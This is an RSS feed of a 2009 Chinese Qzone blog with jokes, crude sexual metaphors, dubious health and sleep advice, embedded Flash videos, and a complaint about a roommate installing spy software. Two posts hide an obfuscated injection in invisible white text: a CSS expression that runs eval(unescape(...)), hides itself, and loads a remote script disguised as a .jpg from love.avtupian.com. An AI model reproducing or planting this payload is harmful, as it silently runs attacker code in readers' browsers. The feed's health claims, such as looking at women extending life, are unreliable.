<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet type="text/xsl" href="http://feeds.qzone.qq.com/rss.xsl" version="1.0"?>
<rss version="2.0" xmlns:qz="http://qzone.qq.com">
<channel>
<title><![CDATA[浪子]]></title>
<description><![CDATA[┊厦门女工鞋院┊[尛王] ]]></description>
<link>http://234788028.qzone.qq.com</link>
<lastBuildDate>Sun, 29 Nov 2009 20:32:32 GMT</lastBuildDate>
<generator>Qzone</generator>
<language>zh-cn</language>
<copyright>Copyright (C), 2005-2008, Tencent Tech. Co., Ltd.</copyright>
<pubDate>Sun, 06 Sep 2009 02:36:50 GMT</pubDate>

<item>
<title><![CDATA[就是只有一关]]></title>
<link>http://234788028.qzone.qq.com/blog/1252204610</link>
<description><![CDATA[过关提示：键盘↑↓←→ 鼠标（有一关用到FHT）<br>看你能挺到哪里。。。。。<br><embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" menu="false" id="flash0" width="676" height="489" src="http://dxs5.qqoo.com:8080/4399swf//upload_swf/ftp/20090831/6.swf" /> <!--v:3.2--> ]]></description>
<category><![CDATA[尛王动漫]]></category>
<author><![CDATA[234788028@qq.com(浪子)]]></author>
<comments>http://234788028.qzone.qq.com/blog/1252204610#comment</comments>
<qz:effect>134222352</qz:effect>
<pubDate>Sun, 06 Sep 2009 02:36:50 GMT</pubDate>
<guid>http://234788028.qzone.qq.com/blog/1252204610</guid>
</item>

<item>
<title><![CDATA[常看美女可延年益寿吗]]></title>
<link>http://234788028.qzone.qq.com/blog/1244862233</link>
<description><![CDATA[男性爱看美女，除了男性的本能反应外，其实还可延年益寿。英国研究人员耗时5年对200名男性进行的一项实验发现，每天都能凝望漂亮女性的男性，血压相对较低，脉搏跳动较慢，心脏疾病也较少，平均寿命可以延长4至5年。　　<br>研究显示，男性彬彬有礼地凝视美丽的女性，就好像是欣赏美丽的风景画一样，有助于身心健康。而凝视美丽的女性10分钟，健身效果差不多相当于做了30分钟的有氧运动。<br>　　虽然男性突然见到美女会产生自律神经亢奋，出现脸红心跳、手脚冰冷等现象。但是每天都能见到美女，大脑中的回路控制机制，就会使脑中产生好的情绪记忆，让情绪中枢保持稳定状态，能减低心血管疾病或中风的风险，而这项研究也透露出男性喜欢观赏美女的原因。<br><br>第一、美女养眼<br>一般人看到美女迅速调节视觉神经，眼部肌肉和视网膜，加速眼睛周围血液循环速度，达到明目润神的效果，这就应了“见了美女眼睛发亮”的俗话！<br>第二、美女养心<br>无论男人、女人、还是孩子，看到美女无不觉得赏心悦目，心情豁然开朗，感觉好极了，心脏当然也就好了！<br>第三、美女舒肝<br>你过过谁忍心对一个漂亮的MM大动肝火？一般我们这些俗人见到美女那楚楚动人的眼神，人都要熔化了，哪里还有气呢？<br>第四、美女养胃<br>秀色可餐，一天多见到几个PLMM就相当于吃了色、香、味俱全，营养搭配全面合理的佳肴，绝对符合“少吃过餐”的科学健胃理论。<br>第五、美女润肺<br>见到美女，人们不自觉地口生唾液，屏息凝神，常有漂亮的MM相伴左右，往往肺活量高达6500！<br>第六、美女强肾<br>见到非常PL的美女，一般情况下会导致男性加快分泌出更多的雄性荷而蒙，这可以健肾强体！ <!--v:3.2--> ]]></description>
<category><![CDATA[投票]]></category>
<author><![CDATA[234788028@qq.com(浪子)]]></author>
<comments>http://234788028.qzone.qq.com/blog/1244862233#comment</comments>
<qz:effect>142606896</qz:effect>
<pubDate>Sat, 13 Jun 2009 03:03:53 GMT</pubDate>
<guid>http://234788028.qzone.qq.com/blog/1244862233</guid>
</item>

<item>
<title><![CDATA[很黄很暴力的性爱比喻]]></title>
<link>http://234788028.qzone.qq.com/blog/1244431754</link>
<description><![CDATA[<div style="text-align:center;"><span style="color:#0000ff;font-size:32px;font-family:'楷体_GB2312';line-height:1.8em;"><span style="text-decoration:underline;"><wbr />很黄很暴力的性爱比喻</span><wbr /></span><wbr /></div><br>　　                                      <img src="http://imgcache.qq.com/qzone/em/e179.gif"><wbr />命运就像强奸，你反抗不了就要学会享受. <br>                                              <img src="http://imgcache.qq.com/qzone/em/e180.gif"><wbr />工作就像轮奸，你不行了别人就上. <br>                                              <img src="http://imgcache.qq.com/qzone/em/e181.gif"><wbr />生活就像自慰，什么都得靠自己双手. <br>                                              <img src="http://imgcache.qq.com/qzone/em/e182.gif"><wbr />学习就像嫖娼，出完钱后又出力. <br>                                              <img src="http://imgcache.qq.com/qzone/em/e183.gif"><wbr />工资就像例假，一月不来你就傻眼. <br>                                              <img src="http://imgcache.qq.com/qzone/em/e184.gif"><wbr />谈判就像口交，费尽了口舌也就那点收获. <br>                                              <img src="http://imgcache.qq.com/qzone/em/e185.gif"><wbr />捐款就像发情，一想起来马上就要. <br>                                              <img src="http://imgcache.qq.com/qzone/em/e186.gif"><wbr />奖金就像阴毛，掉的要比长的多. <br>                                              <img src="http://imgcache.qq.com/qzone/em/e187.gif"><wbr />领导就像阴道，总是欺软怕硬. <br>                                              <img src="http://imgcache.qq.com/qzone/em/e188.gif"><wbr />开会就像乱伦，搞不清谁该搞谁. <br>                                              <img src="http://imgcache.qq.com/qzone/em/e189.gif"><wbr />兄弟像避孕套，捅多大的娄子都帮你兜着. <br><br>　　 <br><div style="text-align:center;"><span style="filter: glow(color=#00FF00,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">------------------------------------------------------------------------------------------------------------</span><wbr /><span style="filter: glow(color=#00FF00,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;"> </div></span><wbr /><br> <br><span style="color:#33cc33;line-height:1.8em;">寝室里的兄弟像内裤，无论你大起大落都包涵着你；非常好的兄弟像避孕套，永远为你安全着想；更好的兄弟像伟哥，在你抬不起头时给予你力量。     <br>     <br>寝室里的姐妹像胸罩，舒服贴心，永远支撑着你；非常好的姐妹像内裤，就算你深陷谷地，它也会紧紧贴近保护着你；更好的姐妹就像卫生巾，你伤心流血，它会来帮你擦！   <br>     <br>作弊就像服用伟哥，也许你自认为非常强悍，但你若不嗑这个，你永远无法让所有人满意。     <br></span><wbr /><br><span style="color:#33cc33;line-height:1.8em;">英语四级证书就像是杰士邦保险套，只有在找工作的时候才拿出用，之后没人愿意把它捡起来洗干净再用。     </span><wbr /><br><br><span style="color:#33cc33;line-height:1.8em;">网恋就像是梦遗，人人都认为它会来，但没人知道它到底什么时候来。     <br>     <br>师生恋就像和你女朋友做爱，虽然不是不光彩的事情，但在对别人讲述的时候，人人都遮遮掩掩装作羞于启齿。     <br>     <br>上课就像是月经，虽然你未必情愿来，但她大约每个月都会点名要求你来一次。     <br>     <br>逃课就像自慰，明明知道太过频繁会伤身体，但你仍然无法抗拒那一刻的快感。     <br>     <br>开学就像接客，你还没有休息够，新一批的客人就又来打扰你了。     <br>     <br>辅导员就像是阴毛，这不是什么问题，但有它存在的时候你总有摩擦，并且因此感到有些不爽。     <br>     <br>奖学金就像是轮奸，你不行了别人就上!     <br>     <br>大学生活就像是手淫，吃穿住行一切全靠自己的双手。     <br>     <br>校园里的爱情就像是口交，只有尝过才知道是什么味道。     <br>     <br>毕业就像是生产，不管你认为在计划怀孕的时候它有多么畸形，它也在4年后瓜熟蒂落的。     <br></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[尛王杂侃]]></category>
<author><![CDATA[234788028@qq.com(浪子)]]></author>
<comments>http://234788028.qzone.qq.com/blog/1244431754#comment</comments>
<qz:effect>142606864</qz:effect>
<pubDate>Mon, 08 Jun 2009 03:29:14 GMT</pubDate>
<guid>http://234788028.qzone.qq.com/blog/1244431754</guid>
</item>

<item>
<title><![CDATA[思念|梦想|唠叨的寄托]]></title>
<link>http://234788028.qzone.qq.com/blog/1242260645</link>
<description><![CDATA[<embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" menu="false" id="flash0" width="1000" height="531" src="http://www.vvind.com/vvish2.swf" /> <!--v:3.2--> ]]></description>
<category><![CDATA[尛王动漫]]></category>
<author><![CDATA[234788028@qq.com(浪子)]]></author>
<comments>http://234788028.qzone.qq.com/blog/1242260645#comment</comments>
<qz:effect>142610960</qz:effect>
<pubDate>Thu, 14 May 2009 00:24:05 GMT</pubDate>
<guid>http://234788028.qzone.qq.com/blog/1242260645</guid>
</item>

<item>
<title><![CDATA[二十多岁的男人与女人的区别]]></title>
<link>http://234788028.qzone.qq.com/blog/1237704253</link>
<description><![CDATA[<span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">20多岁的男人处在一生中的最低点,没钱,没事业没地位，但有欲望, </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">而20多岁的女人却是她生命中最灿烂的时候. </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;"></span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">二十多岁的男人处在一生中的最低点，这时的他什么都没有，没钱、没房、没车、没事业，不能独立又不想依赖，挣扎着彷徨着，寻找自己的位置。 </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">而二十多岁的女人却是她最灿烂的时候……   </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;"></span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">二十多岁的男人还很“懵懂”， </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">而二十多岁的女人却很灿烂； </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">二十多岁的男人处在一生中的最低点， </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">而二十多岁的女人却是她的大好华年； </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">二十多岁的男人很不知珍惜， </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">而二十多岁的女人最需要被珍惜； </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">二十多岁的男人自卑到极点所以非常自负， </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">而二十多岁的女人却在努力建立他的自信； </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">二十多岁的男人不懂爱不会爱却需要爱， </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">而二十多岁的女人需要被爱需要关怀却要付出呵护付出关怀； </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">二十多岁的男人没钱、没事业，但有欲望 </span><wbr /><br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">而二十多岁的女人空守着自己的韶光不再； </span><wbr /><br>女孩子二十岁左右是她最美丽的年华。这时她的心地最善良，她有点成熟，又有点孩子气。 男孩子二十多岁的时候是他最暗淡的日子，这时他什么都没有，不能独立又不想依赖，挣扎着彷徨着，寻找着自己的位置。 <br><span style="filter: glow(color=#FFFFFF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;"></span><wbr /><br>男孩子在二十多岁时遇见了一个年纪相当的女孩子，那一定要珍惜她，因为这个女孩是用自己最美丽的年华陪他走过了最暗淡的日子！女孩只要陪他走过，女孩会永远幸福下去~~~当女孩对你撒娇甚至无理取闹时，请男孩不要烦恼女孩，因为她们有道理这样，我们没理由烦恼，我们要做的就是很理解很理解，保护好这位天使，等我们到了30岁，正当我们最美丽的时候，也请你不要放开这位曾经的天使！二十多岁的男人 请珍惜现在陪着你的女人吧! <br><br><span style="color:#000066;line-height:1.8em;"><span style="filter: glow(color=#00FF00,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;">男人其实是最专一的，因为从20岁到80岁的男人都喜欢20岁左右年轻漂亮的女人.<img src="http://imgcache.qq.com/qzone/em/e113.gif"><wbr /></span><wbr /> </span><wbr /><br><br><br><span style="color:#990000;line-height:1.8em;">有人说现在的年轻女孩都很现实,眼中没有爱情. 称着年轻嫁个有钱的,一辈子也就有个归宿了. 不是我们不去爱,是根本不值得爱.男人有时好比洋葱，要想看到洋葱的心就需要一层一层去剥。但是女人在剥的过程会不断流泪，剥到最后才知道，</span><wbr /> <br><br><div style="text-align:center;"><span style="color:#000066;line-height:1.8em;"><span style="color:#99ff00;line-height:1.8em;">→→→→→→→→→→→→→→→→</span><wbr /><span style="color:#000000;line-height:1.8em;">原来洋葱是没有心的</span><wbr /></span><wbr /><span style="color:#99ff00;line-height:1.8em;">←←←←←←←←←←←←←←←←</span><wbr /></div><span style="color:#FFFFFF;line-height:1.8em;"><wbr />[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[尛王情感]]></category>
<author><![CDATA[234788028@qq.com(浪子)]]></author>
<comments>http://234788028.qzone.qq.com/blog/1237704253#comment</comments>
<qz:effect>134218256</qz:effect>
<pubDate>Sun, 22 Mar 2009 06:44:13 GMT</pubDate>
<guid>http://234788028.qzone.qq.com/blog/1237704253</guid>
</item>

<item>
<title><![CDATA[宿舍-贪吃蛇-不看后悔一辈子]]></title>
<link>http://234788028.qzone.qq.com/blog/1224421100</link>
<description><![CDATA[<embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" menu="false" id="flash0" width="661" height="427" src="http://player.youku.com/player.php/sid/XMjc3NDI5ODQ=/v.swf" /><span style="color:#FFFFFF;line-height:1.8em;"><wbr />[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[尛王动漫]]></category>
<author><![CDATA[234788028@qq.com(浪子)]]></author>
<comments>http://234788028.qzone.qq.com/blog/1224421100#comment</comments>
<qz:effect>134222352</qz:effect>
<pubDate>Sun, 19 Oct 2008 12:58:20 GMT</pubDate>
<guid>http://234788028.qzone.qq.com/blog/1224421100</guid>
</item>

<item>
<title><![CDATA[宿舍出现如此卑鄙之人]]></title>
<link>http://234788028.qzone.qq.com/blog/1222099819</link>
<description><![CDATA[<img src="http://imgcache.qq.com/qzone/em/e130.gif"><wbr />趁我不在.在我的电脑上安装类似灰鸽子的控制软件!<img src="http://imgcache.qq.com/qzone/em/e126.gif"><wbr /> <br><span style="filter: glow(color=#0000FF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;"></span><wbr /><br>第3只眼<img src="http://imgcache.qq.com/qzone/em/e132.gif"><wbr />大蓝千里眼<img src="http://imgcache.qq.com/qzone/em/e132.gif"><wbr />还是<img src="http://imgcache.qq.com/qzone/em/e132.gif"><wbr /> <br><span style="filter: glow(color=#0000FF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;"></span><wbr /><br>反正就是老板监控员工的软件!<img src="http://imgcache.qq.com/qzone/em/e104.gif"><wbr /> <br><span style="filter: glow(color=#0000FF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;"></span><wbr /><br>妈的.非常气愤!<img src="http://imgcache.qq.com/qzone/em/e135.gif"><wbr /> <br><span style="filter: glow(color=#0000FF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;"></span><wbr /><br>有这种卑鄙的舍友.是我的不幸啊<img src="http://imgcache.qq.com/qzone/em/e148.gif"><wbr /> <br><span style="filter: glow(color=#0000FF,strength=3);color:#FFFFFF;display:inline-block;line-height:1.8em;"></span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[234788028@qq.com(浪子)]]></author>
<comments>http://234788028.qzone.qq.com/blog/1222099819#comment</comments>
<qz:effect>528</qz:effect>
<pubDate>Mon, 22 Sep 2008 16:10:19 GMT</pubDate>
<guid>http://234788028.qzone.qq.com/blog/1222099819</guid>
</item>

<item>
<title><![CDATA[命运如此戏弄我们]]></title>
<link>http://234788028.qzone.qq.com/blog/1217129851</link>
<description><![CDATA[<div style="text-align:center;"><span style="color:#0000ff;line-height:1.8em;"><span style="font-size:18px;line-height:1.8em;">当我们读小学的时候，读大学不要钱； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们读大学的时候，读小学不要钱； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">我们还没能工作的时候，工作也是分配的； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">我们可以工作的时候，撞得头破血流才勉强找份饿不死人的工作做； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们不能挣钱的时候，房子是分配的； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们能挣钱的时候，却发现房子已经买不起了； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们没有进入股市的时候,傻瓜都在赚钱； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们兴冲冲地闯进去的时候,才发现自己成了傻瓜； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们不到结婚的年龄的时候骑单车就能娶媳妇； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们到了结婚年龄的时候没有洋房汽车娶不了媳妇； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们没找对象的时候，姑娘们是讲心的； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们找对象的时候，姑娘们是讲金的； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们没找工作的时候，小学生也能当领导的； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们找工作的时候，大学生也只能洗厕所的； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们没生娃的时候，别人是可以生一串的； </span><wbr /></div><div style="text-align:center;"><span style="font-size:18px;line-height:1.8em;">当我们要生娃的时候，谁都不许生多个的。 </span><wbr /></div><div style="text-align:center;"></span><wbr /></div> <!--v:3.2--> ]]></description>
<category><![CDATA[尛王日记]]></category>
<author><![CDATA[234788028@qq.com(浪子)]]></author>
<comments>http://234788028.qzone.qq.com/blog/1217129851#comment</comments>
<qz:effect>528</qz:effect>
<pubDate>Sun, 27 Jul 2008 03:37:31 GMT</pubDate>
<guid>http://234788028.qzone.qq.com/blog/1217129851</guid>
</item>

<item>
<title><![CDATA[草枝摆，赶羚羊！]]></title>
<link>http://234788028.qzone.qq.com/blog/1216991579</link>
<description><![CDATA[<div style="text-align:center;"><embed invokeURLs="false" allowNetworking="internal" allowscriptaccess="never" menu="false" id="flash0" width="506" height="431" src="http://www.56.com/n_v152_/c16_/12_/20_/qq88624297_/zhajm_1177539885_62_/592000_/0_/13473189.swf" /></div> <!--v:3.2--> ]]></description>
<category><![CDATA[尛王休闲]]></category>
<author><![CDATA[234788028@qq.com(浪子)]]></author>
<comments>http://234788028.qzone.qq.com/blog/1216991579#comment</comments>
<qz:effect>4624</qz:effect>
<pubDate>Fri, 25 Jul 2008 13:12:59 GMT</pubDate>
<guid>http://234788028.qzone.qq.com/blog/1216991579</guid>
</item>

<item>
<title><![CDATA[10个妙招教你夜夜好眠]]></title>
<link>http://234788028.qzone.qq.com/blog/1214218800</link>
<description><![CDATA[<span style="color:#0033ff;line-height:1.8em;">人一生有三分之一的时间都花在床上，可见睡眠在我们的生活中占了一个很重要的部分。不过你知道吗？睡觉也有很多的禁忌喔！不信让我告诉你！<br><br>1.不要仰睡：<br>避免手放在胸部，压迫心肺，而且仰卧时舌根部往後坠缩，影响呼吸，容易发出鼾声。<br><br>2.不要睡前思绪万千：<br>宋代蔡季通〈睡诀〉中说：「早晚以时，先睡心，後睡眼」。现代研究约80的失眠是精神疾病所造成。换句话说睡前不要读理科的东西！<br><br>3.不要说话：<br>孔子云：「食不言，寝不语」，睡前唠叨不绝会使思绪兴奋，不得安宁，因而影响入睡。<br><br>4.不要开灯：<br>中国传统医学认为，从寤入寐，进入睡眠状态，是个引阳入阴的过程。醒时属阳，睡时属阴，光亮属阳，黑暗属阴。而西方医学也报导，晚上睡觉开灯会影响智力发展，所以最好养成晚上睡觉关灯习惯。<br><br>5.不要蒙面睡：<br>因为睡觉时用被子蒙住头面，会使人吸入大量的二氧化碳，发生呼吸困难。<br><br>6.不要吹风而睡：<br>古书记载：当风「恐患头风，背受风则嗽，肩受风则臂疼，善调摄者，虽盛暑不可当风及坐卧露下。」现代生活中的电风扇，在睡眠中亦当小心，因为人在睡眠中，生理机能较低，抵抗力较弱。<br><br>7.不要饮酒饱食：<br>古人认为「胃不和则卧不安」，现代则认为睡前三小时不进食，可使胃部获得充份休息，一杯热牛奶可免因饥饿而睡不好。喝少量的酒，则可以松弛减少紧张。<br><br>8.不要张口呼吸：<br>古代药王孙思邈说：「夜卧常习闭口」因为张口呼吸，空气未经鼻腔「预热」、「过滤」处理，容易引起咽乾咳嗽或其它感染。<br><br>9.不要睡中忍便：<br>憋尿忍便对人体均有害处,也会影响睡眠。<br><br>10.不要贪睡懒觉：<br>中国的早有「早睡早起」「久卧伤气」的告诫，故而睡眠应以醒为度，睡懒觉对人体是有害的。但是睡觉应该依照四季调度，春夏宜晚睡早起、秋天早睡早起、冬天早睡晚起！</span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[尛王日记]]></category>
<author><![CDATA[234788028@qq.com(浪子)]]></author>
<comments>http://234788028.qzone.qq.com/blog/1214218800#comment</comments>
<qz:effect>512</qz:effect>
<pubDate>Mon, 23 Jun 2008 11:00:00 GMT</pubDate>
<guid>http://234788028.qzone.qq.com/blog/1214218800</guid>
</item>

</channel>
</rss>

